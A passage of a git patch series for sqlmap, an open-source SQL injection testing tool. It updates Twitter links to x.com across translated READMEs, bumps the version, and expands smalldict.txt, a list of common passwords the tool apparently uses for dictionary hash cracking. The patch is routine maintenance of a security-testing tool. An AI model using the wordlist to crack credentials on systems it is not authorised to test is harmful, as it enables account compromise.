+[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. @@ -45,6 +45,6 @@ Odnośniki * Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index bdd4500ab9a..6fe64ed6a49 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. @@ -45,6 +45,6 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index a76836d249d..de0fb2e2f3e 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. @@ -45,6 +45,6 @@ Linkovi * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index a24f3047d03..c88f532e6b5 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. @@ -45,6 +45,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index 42258e58938..0f32c0c4d14 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. @@ -45,6 +45,6 @@ Linky * Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues * Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index e48c9a44a64..fb2aba28075 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. @@ -48,6 +48,6 @@ Bağlantılar * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index 0158edf163b..26e96f7d6cf 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. @@ -45,6 +45,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index b792e295892..45cbd33c6c1 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. @@ -47,6 +47,6 @@ Liên kết * Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index f3431d4667a..d63d6da4a71 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 @@ -44,6 +44,6 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2. * 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index ec51dc18b0b..900681b6262 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -82,7 +82,7 @@ cat > README.rst << "EOF" sqlmap ====== -|Python 2.6|2.7|3.x| |License| |Twitter| +|Python 2.6|2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over @@ -160,7 +160,7 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- X: https://twitter.com/sqlmap +- X: https://x.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots @@ -168,8 +168,8 @@ Links :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE -.. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg - :target: https://twitter.com/sqlmap +.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg + :target: https://x.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a3294bd947..8aa6bd33720 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.11" +VERSION = "1.9.5.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d74405d74a86ca4f0cf0730696a1cbe77d97b67d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 23:05:31 +0200 Subject: [PATCH 171/853] Minor refreshment of smalldict --- data/txt/sha256sums.txt | 4 +- data/txt/smalldict.txt | 718 +++++++++++++++++++++++++++------------- lib/core/settings.py | 2 +- 3 files changed, 492 insertions(+), 232 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index eb3ceb63408..b33b92d3554 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -27,7 +27,7 @@ f07b7f4e3f073ce752bda6c95e5a328572b82eb2705ee99e2a977cc4e3e9472b data/txt/commo 1e626d38f202c1303fa12d763b4499cf6a0049712a89829eeed0dd08b2b0957f data/txt/common-outputs.txt 8c57f1485d2f974b7a37312aa79cedefcca7c4799b81bbbb41736c39d837b48d data/txt/common-tables.txt f20771d6aba7097e262fe18ab91e978e9ac07dafce0592c88148929a88423d89 data/txt/keywords.txt -c5ce8ea43c32bc72255fa44d752775f8a2b2cf78541cbeaa3749d47301eb7fc6 data/txt/smalldict.txt +c4c493ece59ad8f2f517cc310a69f419cd1a9dbbbc818adfdcc0574209c5687f data/txt/smalldict.txt 4f6ee5c385a925372c4a4a0a65b499b9fc3f323a652d44b90892e742ef35c4c1 data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ @@ -186,7 +186,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -3ba67a00ff2ce430af950520d6bb336ab954d3a51f7b86e6f3af43992253d709 lib/core/settings.py +ccb35b3bf839a2e710077b4c6c51ca3c4cfd6c33418c5a62f13d92505d0a3762 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 32d0752f1a88c52b049cbe1aedff6e0afb794544ff689f54cb72e159b8d5177c lib/core/target.py diff --git a/data/txt/smalldict.txt b/data/txt/smalldict.txt index 55fe63bd61d..c1cfbe7942d 100644 --- a/data/txt/smalldict.txt +++ b/data/txt/smalldict.txt @@ -1,20 +1,27 @@ -!@#$% -!@#$%^ -!@#$%^& -!@#$%^&* +! * ***** ****** ------ +: +????? +?????? +!@#$% +!@#$%^ +!@#$%^& +!@#$%^&* +@#$%^& +$HEX 0 -0.0.0.000 -0.0.000 0000 +0.0.000 00000 +0.0.0.000 000000 0000000 00000000 +0000000000 0000007 000001 000007 @@ -56,12 +63,15 @@ 0racle8i 0racle9 0racle9i +!~!1 1 +100 1000 100000 1001 100100 1002 +100200 1003 1004 1005 @@ -79,6 +89,7 @@ 1017 1018 1020 +10203 102030 1022 1023 @@ -89,23 +100,28 @@ 1028 1029 102938 +1029384756 1030 1031 1066 10sne1 1101 +110110 1102 1103 1104 +111 1111 11111 111111 1111111 11111111 1111111111 +111111a 11112222 1112 111222 +111222tianya 1114 1115 1117 @@ -115,9 +131,11 @@ 112211 112233 11223344 +1122334455 1123 112358 11235813 +1123581321 1124 1125 1129 @@ -164,27 +182,49 @@ 1234321 12344321 12345 +123451 +1234512345 1234554321 123456 +1234560 +1234561 1234567 12345678 123456789 1234567890 +1234567891 12345678910 123456789a 123456789q +12345678a 12345679 +1234567a 123456a +123456aa +123456abc +123456b +123456c +123456d +123456j +123456k +123456l +123456m 123456q +123456s +123456t +123456z 123457 12345a 12345q 12345qwert +12345qwerty +12345t 1234abcd 1234qwer 1235 123654 123654789 +123698745 123789 123987 123aaa @@ -192,7 +232,12 @@ 123asd 123asdf 123go +123hfjdk147 123qwe +123qwe123 +123qweasd +123qweasdzxc +12413 1245 124578 1269 @@ -201,8 +246,10 @@ 1313 131313 13131313 +1314520 1316 1332 +1342 134679 1357 13579 @@ -216,6 +263,7 @@ 142857 1430 143143 +1464688081 147147 147258 14725836 @@ -224,12 +272,14 @@ 147852369 1478963 14789632 +147896325 1492 1515 151515 159159 159357 159753 +159753qq 159951 1616 161616 @@ -317,17 +367,23 @@ 1a2b3c 1a2b3c4d 1chris +1g2w3e4r 1kitty 1p2o3i 1passwor +1password 1q2w3e 1q2w3e4r 1q2w3e4r5t +1q2w3e4r5t6y +1qa2ws3ed 1qaz 1qaz2wsx +1qaz2wsx3edc 1qazxsw2 1qw23e 1qwerty +1v7Upjw3nT 1x2zkg8w 2000 200000 @@ -385,7 +441,9 @@ 272727 2828 282828 +290966 292929 +29rsavoy 2fast4u 2kids 3000gt @@ -430,6 +488,7 @@ 393939 3bears 3ip76k2 +3rJs1la7qE 4040 404040 4055 @@ -440,6 +499,7 @@ 420000 420247 420420 +421uiopy258 4242 424242 426hemi @@ -460,6 +520,7 @@ 456654 4567 456789 +456852 464646 4711 474747 @@ -483,6 +544,8 @@ 515000 51505150 515151 +5201314 +520520 5252 525252 5329 @@ -498,6 +561,7 @@ 555555 5555555 55555555 +5555555555 555666 5656 565656 @@ -518,6 +582,7 @@ 654321 655321 656565 +666 6666 66666 666666 @@ -544,6 +609,7 @@ 7654321 767676 7734 +7758521 777 7777 77777 @@ -586,6 +652,7 @@ 9379992 951753 963852 +963852741 969696 987456 9876 @@ -593,6 +660,7 @@ 987654 98765432 987654321 +9876543210 987987 989898 9999 @@ -601,200 +669,26 @@ 9999999 99999999 999999999 -????? -?????? -@#$%^& -ABC123 -Abcdef -Abcdefg -Admin -Alexis -Alpha -Andrew -Animals -Anthony -Ariel -Asdfgh -BOSS -Bailey -Bastard -Beavis -Bismillah -Bond007 -Bonzo -Booboo -Boston -Broadway -Canucks -Cardinal -Carol -Casio -Celtics -Champs -ChangeMe -Changeme -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Family -Figaro -Fisher -Fishing -Fortune -Freddy -Friday -Friends -Front242 -FuckYou -Fuckyou -Gandalf -Geronimo -Gingers -Gizmo -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Hello -Hendrix -Henry -Hershey -Homer -Internet -JSBach -Jackson -Janet -Jeanne -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -Joshua -KILLER -Katie -Killer -Kitten -Knight -Liberty -Lindsay -Lizard -Login -Madeline -Margaret -Master -Matthew -Maxwell -Mellon -Merlot -Metallic -Michael -Michel -Michel1 -Michelle -Monday -Money -Monster -Montreal -NCC1701 -Newton -Nicholas -Noriko -OU812 -October -PASSWORD -PPP -Paladin -Pamela -Passw0rd -Password -Password1 -Peaches -Peanuts -Pentium -Pepper -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Qwert -Qwerty -Rabbit -Raiders -Raistlin -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Sierra -Skeeter -Smokey -Snoopy -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taurus -Taylor -Tennis -Theresa -Thomas -Thunder -Tigger -Tuesday -Usuckballz1 -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Windows -Winnie -Wolverine -Woodrow -World -Zxcvb -Zxcvbnm a a12345 a123456 a1234567 +a12345678 +a123456789 a1b2c3 a1b2c3d4 +a1s2d3f4 +a838hfiD aa +aa123456 +aa12345678 aaa aaa111 aaaa aaaaa +aaaaa1 aaaaaa +aaaaaa1 aaaaaaa aaaaaaaa aaliyah @@ -806,15 +700,22 @@ abbott abby abc abc123 +ABC123 abc1234 abc12345 +abc123456 abcabc abcd abcd123 abcd1234 +Abcd1234 abcde abcdef +Abcdef abcdefg +Abcdefg 